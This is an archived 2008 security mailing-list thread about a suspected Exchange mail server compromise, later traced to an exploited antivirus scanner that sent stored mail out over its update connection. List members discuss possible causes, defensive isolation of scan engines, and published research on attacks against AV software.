Possible Mail server compromise ?

[Faas M. Mathiasen]

Dear List,
"We" have noticed a odd traffic pattern emerging from our mail
servers, an important amount of data left our network over the mail
server. Please understand "we" would like
to remain anonymous at this point. We monitored our mail servers for
availability and the patch level is as to latest specifications,
additionally we have anti-virus software
 installed on all E-mail servers.

Is anybody aware of an unpatched exploit against Exchange Server 2007  ?
 Is there any other threat we have not taken into consideration ?

Do you have recommendations as to how to proceed ? Obviously our mail
server hold important information and we can't simply turn them off,
though we have procedures on how to respond to incidents we don't have
a procedure for this particular case, as our mail server is inside our
company, maintained and updated regularly we had no important reason
to believe it could be compromised.

We are currently investigating and took it off line for a few hours,
while installing a new clean server.

Regards,
Faas M. Mathiasen
CISSP Denmark

[Worrell, Brian]

Faas,

Are you sure that it was started by your Exchange server, and not a
workstation on the network?  How detailed do you have your Exchange
logging set too at this point?

Also by taking it off line, does this mean you rebooted it, or just took
it off the network?  

I personally do not know of any Exchange 2007 bugs, but never would bet
on anything being perfect.  How is your Server?  Anything else on the
server seem odd?  

Hope that helps some.  

-----Original Message-----
From: Faas M. Mathiasen [mailto:faas.m.mathiasen@...]
Sent: Monday, February 04, 2008 1:28 PM
To: forensics@...; incidents@...
Subject: Possible Mail server compromise ?

Dear List,
"We" have noticed a odd traffic pattern emerging from our mail servers,
an important amount of data left our network over the mail server.
Please understand "we" would like to remain anonymous at this point. We
monitored our mail servers for availability and the patch level is as to
latest specifications, additionally we have anti-virus software
installed on all E-mail servers.

Is anybody aware of an unpatched exploit against Exchange Server 2007  ?
 Is there any other threat we have not taken into consideration ?

Do you have recommendations as to how to proceed ? Obviously our mail
server hold important information and we can't simply turn them off,
though we have procedures on how to respond to incidents we don't have a
procedure for this particular case, as our mail server is inside our
company, maintained and updated regularly we had no important reason to
believe it could be compromised.

We are currently investigating and took it off line for a few hours,
while installing a new clean server.

Regards,
Faas M. Mathiasen
CISSP Denmark

[Jon Kibler-2]

Faas M. Mathiasen wrote:

> Dear List,
> "We" have noticed a odd traffic pattern emerging from our mail
> servers, an important amount of data left our network over the mail
> server. Please understand "we" would like
> to remain anonymous at this point. We monitored our mail servers for
> availability and the patch level is as to latest specifications,
> additionally we have anti-virus software
>  installed on all E-mail servers.
>
> Is anybody aware of an unpatched exploit against Exchange Server 2007  ?
>  Is there any other threat we have not taken into consideration ?
>
> Do you have recommendations as to how to proceed ? Obviously our mail
> server hold important information and we can't simply turn them off,
> though we have procedures on how to respond to incidents we don't have
> a procedure for this particular case, as our mail server is inside our
> company, maintained and updated regularly we had no important reason
> to believe it could be compromised.
>
> We are currently investigating and took it off line for a few hours,
> while installing a new clean server.
>
> Regards,
> Faas M. Mathiasen
> CISSP Denmark
>

The most frequent 'exploit' I see against exchange servers is
where users use their business email address and domain login
password to register at some web site and either:
a) that site gets compromised and those credentials revealed, or
b) more likely, someone registered at a pseudo-phishing site
    (such as 'all the free porn you can view') using their
    exchange credentials.

In either case, the credentials are then used to force the
server to send spam, or if the credentials have admin priv, then
mangle the server in any way that they please.

Regardless of what happened, the best advise I can give is to
IMMEDIATELY change ALL user email passwords, and if any were
the same as domain passwords, change those too!

GOOD LUCK!
Jon Kibler
--
Jon R. Kibler
Chief Technical Officer
Advanced Systems Engineering Technology, Inc.
Charleston, SC  USA
o: 843-849-8214
m: 843-224-2494




==================================================
Filtered by: TRUSTEM.COM's Email Filtering Service
http://www.trustem.com/
No Spam. No Viruses. Just Good Clean Email.

[Tony Maupin]

Faas,

I would have to agree with Jon Kibler's response, but would like to
add that there are vulnerabilities in Exchange that you may be a
victim of. Most of the time these things happen from other
processes/applications/vulnerabilities on the internal network that
are leveraging your mail infrastructure to distribute collateral. You
should consider engaging a trusted security vendor for professional
services. This could be something simple, but it could also be a huge
problem. This doesn't seem to be the core competency of your group and
some things are better left to those who have the knowledge and
experience.

Tony Maupin, CISSP, CCNA, CCSA, MCSE, PMP, VCI, ACI, SCSA
Senior Risk Consultant
Network & Information Security

Verizon Business Security Solutions Powered by Cybertrust
U.S. Professional Security Services
San Antonio, Texas
Mobile: [phone]
Tony.Maupin@...
http://www.verizonbusiness.com/us/security/


On Feb 4, 2008 2:05 PM, Jon R. Kibler <Jon.Kibler@...> wrote:

>
> Faas M. Mathiasen wrote:
> > Dear List,
> > "We" have noticed a odd traffic pattern emerging from our mail
> > servers, an important amount of data left our network over the mail
> > server. Please understand "we" would like
> > to remain anonymous at this point. We monitored our mail servers for
> > availability and the patch level is as to latest specifications,
> > additionally we have anti-virus software
> >  installed on all E-mail servers.
> >
> > Is anybody aware of an unpatched exploit against Exchange Server 2007  ?
> >  Is there any other threat we have not taken into consideration ?
> >
> > Do you have recommendations as to how to proceed ? Obviously our mail
> > server hold important information and we can't simply turn them off,
> > though we have procedures on how to respond to incidents we don't have
> > a procedure for this particular case, as our mail server is inside our
> > company, maintained and updated regularly we had no important reason
> > to believe it could be compromised.
> >
> > We are currently investigating and took it off line for a few hours,
> > while installing a new clean server.
> >
> > Regards,
> > Faas M. Mathiasen
> > CISSP Denmark
> >
>
> The most frequent 'exploit' I see against exchange servers is
> where users use their business email address and domain login
> password to register at some web site and either:
> a) that site gets compromised and those credentials revealed, or
> b) more likely, someone registered at a pseudo-phishing site
>     (such as 'all the free porn you can view') using their
>     exchange credentials.
>
> In either case, the credentials are then used to force the
> server to send spam, or if the credentials have admin priv, then
> mangle the server in any way that they please.
>
> Regardless of what happened, the best advise I can give is to
> IMMEDIATELY change ALL user email passwords, and if any were
> the same as domain passwords, change those too!
>
> GOOD LUCK!
> Jon Kibler
> --
> Jon R. Kibler
> Chief Technical Officer
> Advanced Systems Engineering Technology, Inc.
> Charleston, SC  USA
> o: 843-849-8214
> m: 843-224-2494
>
>
>
>
> ==================================================
> Filtered by: TRUSTEM.COM's Email Filtering Service
> http://www.trustem.com/
> No Spam. No Viruses. Just Good Clean Email.
>
>

[Faas M. Mathiasen]

Dear Jon,
The mail server is not reachable from the Internet, I was not speaking
about the MX but our corporate mail server.

On Feb 4, 2008 8:02 PM, Jon R. Kibler <Jon.Kibler@...> wrote:

>
> Faas M. Mathiasen wrote:
> > Dear List,
> > "We" have noticed a odd traffic pattern emerging from our mail
> > servers, an important amount of data left our network over the mail
> > server. Please understand "we" would like
> > to remain anonymous at this point. We monitored our mail servers for
> > availability and the patch level is as to latest specifications,
> > additionally we have anti-virus software
> >  installed on all E-mail servers.
> >
> > Is anybody aware of an unpatched exploit against Exchange Server 2007  ?
> >  Is there any other threat we have not taken into consideration ?
> >
> > Do you have recommendations as to how to proceed ? Obviously our mail
> > server hold important information and we can't simply turn them off,
> > though we have procedures on how to respond to incidents we don't have
> > a procedure for this particular case, as our mail server is inside our
> > company, maintained and updated regularly we had no important reason
> > to believe it could be compromised.
> >
> > We are currently investigating and took it off line for a few hours,
> > while installing a new clean server.
> >
> > Regards,
> > Faas M. Mathiasen
> > CISSP Denmark
> >
>
> The most frequent 'exploit' I see against exchange servers is
> where users use their business email address and domain login
> password to register at some web site and either:
> a) that site gets compromised and those credentials revealed, or
> b) more likely, someone registered at a pseudo-phishing site
>     (such as 'all the free porn you can view') using their
>     exchange credentials.
>
> In either case, the credentials are then used to force the
> server to send spam, or if the credentials have admin priv, then
> mangle the server in any way that they please.
>
> Regardless of what happened, the best advise I can give is to
> IMMEDIATELY change ALL user email passwords, and if any were
> the same as domain passwords, change those too!
>
> GOOD LUCK!
> Jon Kibler
> --
> Jon R. Kibler
> Chief Technical Officer
> Advanced Systems Engineering Technology, Inc.
> Charleston, SC  USA
> o: 843-849-8214
> m: 843-224-2494
>
>
>
>
> ==================================================
> Filtered by: TRUSTEM.COM's Email Filtering Service
> http://www.trustem.com/
> No Spam. No Viruses. Just Good Clean Email.
>
>

[Faas M. Mathiasen]

Dear Tony,

Thank you for your input, it seems that the "data" was sent FROM the
mail server and the data is not e-mails.
I know that there are "vulnerabilities in  Exchange" I was asking if
there are new (0day) vulnerabilities
that have not been patched and can be exploited remotely - from the
outside. We took great care to harden
these servers and they are (of course) not reachable from the "outside".

Please understand that I cannot go into much detail, maybe you are
underestimating our competence,
but your verizon so..obviously you know better. ;)

On Feb 4, 2008 10:39 PM, Tony Maupin <tony@...> wrote:

> Faas,
>
> I would have to agree with Jon Kibler's response, but would like to
> add that there are vulnerabilities in Exchange that you may be a
> victim of. Most of the time these things happen from other
> processes/applications/vulnerabilities on the internal network that
> are leveraging your mail infrastructure to distribute collateral. You
> should consider engaging a trusted security vendor for professional
> services. This could be something simple, but it could also be a huge
> problem. This doesn't seem to be the core competency of your group and
> some things are better left to those who have the knowledge and
> experience.
>
> Tony Maupin, CISSP, CCNA, CCSA, MCSE, PMP, VCI, ACI, SCSA
> Senior Risk Consultant
> Network & Information Security
>
> Verizon Business Security Solutions Powered by Cybertrust
> U.S. Professional Security Services
> San Antonio, Texas
> Mobile: [phone]
> Tony.Maupin@...
> http://www.verizonbusiness.com/us/security/
>
>
>
> On Feb 4, 2008 2:05 PM, Jon R. Kibler <Jon.Kibler@...> wrote:
> >
> > Faas M. Mathiasen wrote:
> > > Dear List,
> > > "We" have noticed a odd traffic pattern emerging from our mail
> > > servers, an important amount of data left our network over the mail
> > > server. Please understand "we" would like
> > > to remain anonymous at this point. We monitored our mail servers for
> > > availability and the patch level is as to latest specifications,
> > > additionally we have anti-virus software
> > >  installed on all E-mail servers.
> > >
> > > Is anybody aware of an unpatched exploit against Exchange Server 2007  ?
> > >  Is there any other threat we have not taken into consideration ?
> > >
> > > Do you have recommendations as to how to proceed ? Obviously our mail
> > > server hold important information and we can't simply turn them off,
> > > though we have procedures on how to respond to incidents we don't have
> > > a procedure for this particular case, as our mail server is inside our
> > > company, maintained and updated regularly we had no important reason
> > > to believe it could be compromised.
> > >
> > > We are currently investigating and took it off line for a few hours,
> > > while installing a new clean server.
> > >
> > > Regards,
> > > Faas M. Mathiasen
> > > CISSP Denmark
> > >
> >
> > The most frequent 'exploit' I see against exchange servers is
> > where users use their business email address and domain login
> > password to register at some web site and either:
> > a) that site gets compromised and those credentials revealed, or
> > b) more likely, someone registered at a pseudo-phishing site
> >     (such as 'all the free porn you can view') using their
> >     exchange credentials.
> >
> > In either case, the credentials are then used to force the
> > server to send spam, or if the credentials have admin priv, then
> > mangle the server in any way that they please.
> >
> > Regardless of what happened, the best advise I can give is to
> > IMMEDIATELY change ALL user email passwords, and if any were
> > the same as domain passwords, change those too!
> >
> > GOOD LUCK!
> > Jon Kibler
> > --
> > Jon R. Kibler
> > Chief Technical Officer
> > Advanced Systems Engineering Technology, Inc.
> > Charleston, SC  USA
> > o: 843-849-8214
> > m: 843-224-2494
> >
> >
> >
> >
> > ==================================================
> > Filtered by: TRUSTEM.COM's Email Filtering Service
> > http://www.trustem.com/
> > No Spam. No Viruses. Just Good Clean Email.
> >
> >
>

[Faas M. Mathiasen]

Dear Vicky (Hope this is correct),

Thanks for your input, please see comments inline :)

> - Are you employees allowed to check email through Outlook Web Interface
> integrated by MS Exchange Server? If Yes, then there is a problem.
The server is not directly reachable from the outside, we don't use OWI

> - Do you have Trust-Relationship with either employee who could be able to
> do such things? (Internal Threat)
Noted
> - 0day exploits will not be easily available to anybody until and unless you
> have connections with those people who work 24/7 over this.
They only have to be available to the attacker, I guess ;) Depends on who you
have against you, the level we protect ourselves against is
industrial espionage.  Let's say we are an interesting target.

> - This might be caused by some third-party application exploit present on
> your outgoing/incoming open network (internet - untrusted zone) gateway.
Noted, checks ongoing actually :)

> - Deploy/develop custom signatures (customize the Firewall/IDS rules for
> incoming email to check for any specific patterns) for similar spam emails
> to stop them from entering you mail server.
The data that went out were not your typical e-mails unfortunately :(

> While in consideration of above statements, there are many other dimensions
> to look at before approaching to the results of investigation directly.
>
> Good Luck!
Thanks :)

[Gary Baribault-2]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


What is the software that you have that supports your public MX ? I
assume that it's not Exchange.




Gary Baribault
CISSP, RHCE, CCNP, MCSE
Consultant en sécurité informatique / Computer security consultant
Gary Baribault inc.
tél: [phone]
Courriel: gary@...
GPG Key: 0xEF3EBD1C
GPG Fingerprint: 5B1F 899B 4A7C A586 8388 6AFD 796B E68D EF3E 8D1C



Faas M. Mathiasen wrote:

> Dear Jon,
> The mail server is not reachable from the Internet, I was not speaking
> about the MX but our corporate mail server.
>
> On Feb 4, 2008 8:02 PM, Jon R. Kibler <Jon.Kibler@...> wrote:
>> Faas M. Mathiasen wrote:
>>> Dear List,
>>> "We" have noticed a odd traffic pattern emerging from our mail
>>> servers, an important amount of data left our network over the mail
>>> server. Please understand "we" would like
>>> to remain anonymous at this point. We monitored our mail servers for
>>> availability and the patch level is as to latest specifications,
>>> additionally we have anti-virus software
>>>  installed on all E-mail servers.
>>>
>>> Is anybody aware of an unpatched exploit against Exchange Server 2007  ?
>>>  Is there any other threat we have not taken into consideration ?
>>>
>>> Do you have recommendations as to how to proceed ? Obviously our mail
>>> server hold important information and we can't simply turn them off,
>>> though we have procedures on how to respond to incidents we don't have
>>> a procedure for this particular case, as our mail server is inside our
>>> company, maintained and updated regularly we had no important reason
>>> to believe it could be compromised.
>>>
>>> We are currently investigating and took it off line for a few hours,
>>> while installing a new clean server.
>>>
>>> Regards,
>>> Faas M. Mathiasen
>>> CISSP Denmark
>>>
>> The most frequent 'exploit' I see against exchange servers is
>> where users use their business email address and domain login
>> password to register at some web site and either:
>> a) that site gets compromised and those credentials revealed, or
>> b) more likely, someone registered at a pseudo-phishing site
>>     (such as 'all the free porn you can view') using their
>>     exchange credentials.
>>
>> In either case, the credentials are then used to force the
>> server to send spam, or if the credentials have admin priv, then
>> mangle the server in any way that they please.
>>
>> Regardless of what happened, the best advise I can give is to
>> IMMEDIATELY change ALL user email passwords, and if any were
>> the same as domain passwords, change those too!
>>
>> GOOD LUCK!
>> Jon Kibler
>> --
>> Jon R. Kibler
>> Chief Technical Officer
>> Advanced Systems Engineering Technology, Inc.
>> Charleston, SC  USA
>> o: 843-849-8214
>> m: 843-224-2494
>>
>>
>>
>>
>> ==================================================
>> Filtered by: TRUSTEM.COM's Email Filtering Service
>> http://www.trustem.com/
>> No Spam. No Viruses. Just Good Clean Email.
>>
>>
>
>

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.4-svn0 (GNU/Linux)
Comment: Using GnuPG with SUSE - http://enigmail.mozdev.org

iD8DBQFHp6Gz5BLKxPqBKDURAgi8AJ9EEzbtgn2Nzzd44WmaK/2kE1a20wCgndoU
vPoLC1Q+naZb4CCvEGyiWbM=
=5kgo
-----END PGP SIGNATURE-----

[Faas M. Mathiasen]

Dear Gary,
That would be qmail

On Feb 5, 2008 12:37 AM, Gary Baribault <gary@...> wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
>
> What is the software that you have that supports your public MX ? I
> assume that it's not Exchange.
>
>
>
>
> Gary Baribault
> CISSP, RHCE, CCNP, MCSE
> Consultant en sécurité informatique / Computer security consultant
> Gary Baribault inc.
> tél: [phone]
> Courriel: gary@...
> GPG Key: 0xEF3EBD1C
> GPG Fingerprint: 5B1F 899B 4A7C A586 8388 6AFD 796B E68D EF3E 8D1C
>
>
>
>
> Faas M. Mathiasen wrote:
> > Dear Jon,
> > The mail server is not reachable from the Internet, I was not speaking
> > about the MX but our corporate mail server.
> >
> > On Feb 4, 2008 8:02 PM, Jon R. Kibler <Jon.Kibler@...> wrote:
> >> Faas M. Mathiasen wrote:
> >>> Dear List,
> >>> "We" have noticed a odd traffic pattern emerging from our mail
> >>> servers, an important amount of data left our network over the mail
> >>> server. Please understand "we" would like
> >>> to remain anonymous at this point. We monitored our mail servers for
> >>> availability and the patch level is as to latest specifications,
> >>> additionally we have anti-virus software
> >>>  installed on all E-mail servers.
> >>>
> >>> Is anybody aware of an unpatched exploit against Exchange Server 2007  ?
> >>>  Is there any other threat we have not taken into consideration ?
> >>>
> >>> Do you have recommendations as to how to proceed ? Obviously our mail
> >>> server hold important information and we can't simply turn them off,
> >>> though we have procedures on how to respond to incidents we don't have
> >>> a procedure for this particular case, as our mail server is inside our
> >>> company, maintained and updated regularly we had no important reason
> >>> to believe it could be compromised.
> >>>
> >>> We are currently investigating and took it off line for a few hours,
> >>> while installing a new clean server.
> >>>
> >>> Regards,
> >>> Faas M. Mathiasen
> >>> CISSP Denmark
> >>>
> >> The most frequent 'exploit' I see against exchange servers is
> >> where users use their business email address and domain login
> >> password to register at some web site and either:
> >> a) that site gets compromised and those credentials revealed, or
> >> b) more likely, someone registered at a pseudo-phishing site
> >>     (such as 'all the free porn you can view') using their
> >>     exchange credentials.
> >>
> >> In either case, the credentials are then used to force the
> >> server to send spam, or if the credentials have admin priv, then
> >> mangle the server in any way that they please.
> >>
> >> Regardless of what happened, the best advise I can give is to
> >> IMMEDIATELY change ALL user email passwords, and if any were
> >> the same as domain passwords, change those too!
> >>
> >> GOOD LUCK!
> >> Jon Kibler
> >> --
> >> Jon R. Kibler
> >> Chief Technical Officer
> >> Advanced Systems Engineering Technology, Inc.
> >> Charleston, SC  USA
> >> o: 843-849-8214
> >> m: 843-224-2494
> >>
> >>
> >>
> >>
> >> ==================================================
> >> Filtered by: TRUSTEM.COM's Email Filtering Service
> >> http://www.trustem.com/
> >> No Spam. No Viruses. Just Good Clean Email.
> >>
> >>
> >
> >
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v2.0.4-svn0 (GNU/Linux)
> Comment: Using GnuPG with SUSE - http://enigmail.mozdev.org
>
> iD8DBQFHp6Gz5BLKxPqBKDURAgi8AJ9EEzbtgn2Nzzd44WmaK/2kE1a20wCgndoU
> vPoLC1Q+naZb4CCvEGyiWbM=
> =5kgo
> -----END PGP SIGNATURE-----
>

[Valdis.Kletnieks]

On Mon, 04 Feb 2008 22:57:14 +0100, "Faas M. Mathiasen" said:
> Thank you for your input, it seems that the "data" was sent FROM the
> mail server and the data is not e-mails.

OK, throw us a bone - if it wasn't SMTP transactions, can you at least
tell us the *protocol* being used?  If it wasn't e-mails, knowing what
it was would help immensely.

[Faas M. Mathiasen]

Dear List,
On the 4th of February I posted an message asking a few questions
about a possible mail server compromise [1]
I had a few good responses and lots of offers for help, some of these
messages indirectly lead to the discovery
of what really happened.

I still choose to remain anonymous for obvious reasons but choose to
publish parts of the findings as I feel that some might be as
astonished as I was. Please ignore the obvious spelling errors,it's
00:10 over here and I we are all pretty tired as we spend the last
days investigating and collecting information, logs, events etc.

Here is what we discovered when we correlated all logs, traces, events
and upstream data. The data that left the mailserver - were mails -
wait... not the way they are supposed to leave, what left our
mailserver where  gigabytes of mails, no time to go through each of
them.. but we supposed nearly all of our emails we stored were
compromised. Since we use qmail as mx and exchange as corporate mail
server how could this have happened ?

During analysis of the event log, we saw several event entries
indicating the AV scanner crashed multiple times during several hours
before the first huge batch of traffic left the mail server.  Nothing
spectacular you might say, this happens from time to time, though
rarely. This lead us to the idea to simply use the Anti-Virus scanner
to rescan the complete in box of all accounts, and then it hit us,
suddenly there were outbound requests being initiated. What tried to
initiate these requests ? The Anti-Virus scanner.We reran the scans
several times and at one particular file the scanner started acting
weirdly.  What we discovered was an exploit against the AV scanner
that was triggered when it scanned the attachment to this particular
email... that was not the threat we anticipated. Somebody using a
"spoofed" email address send this file to a publicly disclosed email
address and as soon as the scanner touched the file it triggered... I
thought I had watched a movie. And this is when it hit me pretty bad,
we had allowed the Anti-Vris scanner to get the updates from the
Internet allowing it access to the internet of course... this was the
way the data got out. I am not sure that it would have helped if the
updates would have been pushed internally, after all the exchange
server sends email that somehow get out to the internet, I guess the
way to get out would have just been a bit harder for the attacker.

Is anybody aware if this is common knowledge? Who else has seen such
an attack ? Are you monitoring your mail servers for such compromises
regularly? The name of the Anti-Virus scanner will not be told,
exploit might be available up on request, as soon as we analyzed it
for content that might reveal specifics
about us.

Regards,
Faas M. Mathiasen
CISSP Denmark

[1]

> Dear List,
> "We" have noticed a odd traffic pattern emerging from our mail
> servers, an important amount of data left our network over the mail
> server. Please understand "we" would like
> to remain anonymous at this point. We monitored our mail servers for
> availability and the patch level is as to latest specifications,
> additionally we have anti-virus software
>  installed on all E-mail servers.
>
> Is anybody aware of an unpatched exploit against Exchange Server 2007  ?
>  Is there any other threat we have not taken into consideration ?
>
> Do you have recommendations as to how to proceed ? Obviously our mail
> server hold important information and we can't simply turn them off,
> though we have procedures on how to respond to incidents we don't have
> a procedure for this particular case, as our mail server is inside our
> company, maintained and updated regularly we had no important reason
> to believe it could be compromised.
>
> We are currently investigating and took it off line for a few hours,
> while installing a new clean server.
>
> Regards,
> Faas M. Mathiasen
> CISSP Denmark
>

[Jon Oberheide-2]

On Wed, 2008-02-13 at 00:41 +0100, Faas M. Mathiasen wrote:
[snip]
> Is anybody aware if this is common knowledge? Who else has seen such
> an attack ? Are you monitoring your mail servers for such compromises
> regularly? The name of the Anti-Virus scanner will not be told,
> exploit might be available up on request, as soon as we analyzed it
> for content that might reveal specifics
> about us.

Unfortunately, this is not an uncommon occurance as numerous
vulnerabilities have been discovered in AV vendor software [1].  In
fact, SANS listed antivirus software as one of the top 20 security risks
of 2007 [2].  While many of these vulnerabilities are considered only
"locally" exploitable, using the engines within the context of a mail
server exposes them to be triggered remotely by any rogue email as you
have seen.

To address these exploits against mail servers (and against normal end
hosts as well), I'd suggest deploying your scan engines within a
disposable virtualized environment that can be thrown away when a
exploit is detected and restored from a clean snapshot.  For example, we
currently employ a milter frontend that sends mail attachments to a
backend service for analysis that has 10 antivirus engines and 2
behavioral engines, each within a Xen VM instance.  This obviously
increases the amount of malware we can detect with multiple,
heterogeneous engines, but more importantly, provides strong isolation
from the mail server itself.

Regards,
Jon Oberheide

[1] NVD ulnerabilities by AV vendor between 2005 and 2007
[2] http://www.sans.org/top20/#s5

--
Jon Oberheide <jon@...>
GnuPG Key: 1024D/F47C17FE
Fingerprint: B716 DA66 8173 6EDD 28F6  F184 5842 1C89 F47C 17FE

[Michael Loftis]

--On February 13, 2008 12:41:28 AM +0100 "Faas M. Mathiasen"
<faas.m.mathiasen@...> wrote:

<...>
> Is anybody aware if this is common knowledge? Who else has seen such
> an attack ? Are you monitoring your mail servers for such compromises
> regularly? The name of the Anti-Virus scanner will not be told,
> exploit might be available up on request, as soon as we analyzed it
> for content that might reveal specifics
> about us.

clamav has known vulnerabilities in past versions, FYI.  But as for "common
knowledge" one can only answer that if one knows what AV software you're
seeing the issue with.  Upgrade to the latest version first, see if it's
still reproducible.  Also submit the malware to the AV vendor (or authors)

<...>

[Faas M. Mathiasen]

Dear All,
Since I got a storm of e-mail to my last post, I'd like to summarise
some of them
and have something more structured:

Jon Oberheide send me some impressive statistics with regards of
vulnerabilities within AV Software, interesting enough most of them
are remotely exploitable :O

That said, I'll answer my own questions :
> Is anybody aware if this is common knowledge?
Apparently it is, somebody pointed me to these presentations :

Attacking Anti-Virus - Feng Xue (a.k.a Sowhat), Nevis Labs @Blachkat 2008
Couldn't find any material ?

The Death of Anti-Virus defense in Depth? - Revisiting AV Software by
Sergio Alvarez and Thierry Zoller
@ this years Cansecwest 2008 and last years Hack.lu 2007
http://www.nruns.com/ps/The_Death_of_AV_Defense_in_Depth-Revisiting_Anti-Virus_Software.pdf

The interesting thing about it is that in one slide they show exactly
what happened !! :O Scary this even works, looks cute and unrealistic
on paper but feels terrible when it bites you in the behind.

Alex Wheeler (ISS) found  a lot of these bugs in 2005!
http://www.theregister.co.uk/2005/03/18/mcafee_vuln/

The more I searched the more I found ?

>Who else has seen such
> an attack ?
Apparently they happen, as the guys from n.runs seem to have invented
some sort of solution for this problem, rendering attacks on AV
impossible (??) they call it aps-AV :
"Protects your company from malware threats (Worms, Virus, Trojans..),
aps-AV reuses your existing Anti-Virus software and supports multiple
Anti-Virus engines. aps-AV increases the malware detection rate
through the diversity and heuristics of these multiple engines.
However unlike the competition,  aps-AV does not increase the remotely
exploitable attack surface."

http://www.nruns.com/_en/aps/
http://www.nruns.com/_downloads/aps-AV-Solution-Paper-EN.pdf

Is anybody using that system ?

>Are you monitoring your mail servers for such compromises
> regularly? The name of the Anti-Virus scanner will not be told,
> exploit might be available up on request, as soon as we analyzed it
> for content that might reveal specifics
> about us.
>
> Regards,
> Faas M. Mathiasen
> CISSP Denmark
>
> [1]
>
> > Dear List,
> > "We" have noticed a odd traffic pattern emerging from our mail
> > servers, an important amount of data left our network over the mail
> > server. Please understand "we" would like
> > to remain anonymous at this point. We monitored our mail servers for
> > availability and the patch level is as to latest specifications,
> > additionally we have anti-virus software
> >  installed on all E-mail servers.
> >
> > Is anybody aware of an unpatched exploit against Exchange Server 2007  ?
> >  Is there any other threat we have not taken into consideration ?
> >
> > Do you have recommendations as to how to proceed ? Obviously our mail
> > server hold important information and we can't simply turn them off,
> > though we have procedures on how to respond to incidents we don't have
> > a procedure for this particular case, as our mail server is inside our
> > company, maintained and updated regularly we had no important reason
> > to believe it could be compromised.
> >
> > We are currently investigating and took it off line for a few hours,
> > while installing a new clean server.
> >
> > Regards,
> > Faas M. Mathiasen
> > CISSP Denmark
> >
>

[Bob Toxen-3]

On Mon, Feb 18, 2008 at 08:19:41PM +0100, Faas M. Mathiasen wrote:
> Dear All,
> Since I got a storm of e-mail to my last post, I'd like to summarise
> some of them
> and have something more structured:

> Jon Oberheide send me some impressive statistics with regards of
> vulnerabilities within AV Software, interesting enough most of them
> are remotely exploitable :O
Most?  I would expect most to offer patches quickly.

> That said, I'll answer my own questions :
> > Is anybody aware if this is common knowledge?
> Apparently it is, somebody pointed me to these presentations :

> Attacking Anti-Virus - Feng Xue (a.k.a Sowhat), Nevis Labs @Blachkat 2008
> Couldn't find any material ?

> The Death of Anti-Virus defense in Depth? - Revisiting AV Software by
> Sergio Alvarez and Thierry Zoller
> @ this years Cansecwest 2008 and last years Hack.lu 2007
> http://www.nruns.com/ps/The_Death_of_AV_Defense_in_Depth-Revisiting_Anti-Virus_Software.pdf

> The interesting thing about it is that in one slide they show exactly
> what happened !! :O Scary this even works, looks cute and unrealistic
> on paper but feels terrible when it bites you in the behind.

> Alex Wheeler (ISS) found  a lot of these bugs in 2005!
> http://www.theregister.co.uk/2005/03/18/mcafee_vuln/

> The more I searched the more I found ?

> >Who else has seen such
> > an attack ?
> Apparently they happen, as the guys from n.runs seem to have invented
> some sort of solution for this problem, rendering attacks on AV
> impossible (??) they call it aps-AV :
> "Protects your company from malware threats (Worms, Virus, Trojans..),
> aps-AV reuses your existing Anti-Virus software and supports multiple
> Anti-Virus engines. aps-AV increases the malware detection rate
> through the diversity and heuristics of these multiple engines.
> However unlike the competition,  aps-AV does not increase the remotely
> exploitable attack surface."

That sounds like "snake oil".  The more code (i.e., adding their
product) the greater the "remotely exploitable attack surface".

We have developed an excellent spam and virus filter that uses ClamAV as
the virus signature matching engine and have had great success with it.
We also add our own proprietary virus filtering on top of ClamAV to
block most viruses too new to have a signature.

> http://www.nruns.com/_en/aps/
> http://www.nruns.com/_downloads/aps-AV-Solution-Paper-EN.pdf

> Is anybody using that system ?
I hope not.

> >Are you monitoring your mail servers for such compromises
> > regularly? The name of the Anti-Virus scanner will not be told,
> > exploit might be available up on request, as soon as we analyzed it
> > for content that might reveal specifics
> > about us.
Yes, monitoring mail servers and virus filters (if separate) for
compromise and keeping patches up-to-date is critical, of course.

Best regards,

Bob Toxen, CTO
Horizon Network Security
"Your expert in Spam and Virus Filters, Linux server hardening, Firewalls,
Network Monitoring, Linux System Administration, VPNs, local and remote
backup software, and Network Security consulting, in business for
18 years."

www.VerySecureLinux.com/virus.html                [Spam and virus filter]
www.RealWorldLinuxSecurity.com [Our 5* book: "Real World Linux Security"]
bob@... (e-mail)
+1 770.662.8321  (Office: 10am-6pm M-F U.S. Eastern Time)

My article on "The Seven Deadly Sins of Linux Security" was
published in the May/June 2007 issue of ACM's QUEUE Magazine.

Author,
"Real World Linux Security: Intrusion Detection, Prevention, and Recovery"
2nd Ed., Prentice Hall, 848 pages, ISBN: 9780130464569
Also available in Japanese, Chinese, Czech, and Polish.

> > Regards,
> > Faas M. Mathiasen
> > CISSP Denmark
> >
> > [1]
> >
> > > Dear List,
> > > "We" have noticed a odd traffic pattern emerging from our mail
> > > servers, an important amount of data left our network over the mail
> > > server. Please understand "we" would like
> > > to remain anonymous at this point. We monitored our mail servers for
> > > availability and the patch level is as to latest specifications,
> > > additionally we have anti-virus software
> > >  installed on all E-mail servers.
> > >
> > > Is anybody aware of an unpatched exploit against Exchange Server 2007  ?
> > >  Is there any other threat we have not taken into consideration ?
> > >
> > > Do you have recommendations as to how to proceed ? Obviously our mail
> > > server hold important information and we can't simply turn them off,
> > > though we have procedures on how to respond to incidents we don't have
> > > a procedure for this particular case, as our mail server is inside our
> > > company, maintained and updated regularly we had no important reason
> > > to believe it could be compromised.
> > >
> > > We are currently investigating and took it off line for a few hours,
> > > while installing a new clean server.
> > >
> > > Regards,
> > > Faas M. Mathiasen
> > > CISSP Denmark

[Faas M. Mathiasen]

Dear Bob,

> > Jon Oberheide send me some impressive statistics with regards of
> > vulnerabilities within AV Software, interesting enough most of them
> > are remotely exploitable :O
> Most?  I would expect most to offer patches quickly.
Yep most of them, if AV software scans data that comes from a remote
source it is remotely exploitable.
But it all depends on who is your enemy, if your enemy is a script kiddie
then yes patching helps. If your up to enemies developing zero days I guess
that won't help.

> That sounds like "snake oil".  The more code (i.e., adding their
> product) the greater the "remotely exploitable attack surface".
I'd like to disagree : Not really. Only code that deals with data that
can be manipulated by an attacker is "exploitable
attack surface", so if you only add code that is static and does not
parse, nor deal with data
an attacker can manipulate, your exploitable attack surface does in
fact _not_ grow, that's not snake oil
but a simple fact, I guess =)

Anyways in this case I am not sure about it, have you read the
"Security through No-Parsing" paradigma ? They apparently don't parse
the data and put everything in a sealed environment. knowing these
guys found these bugs
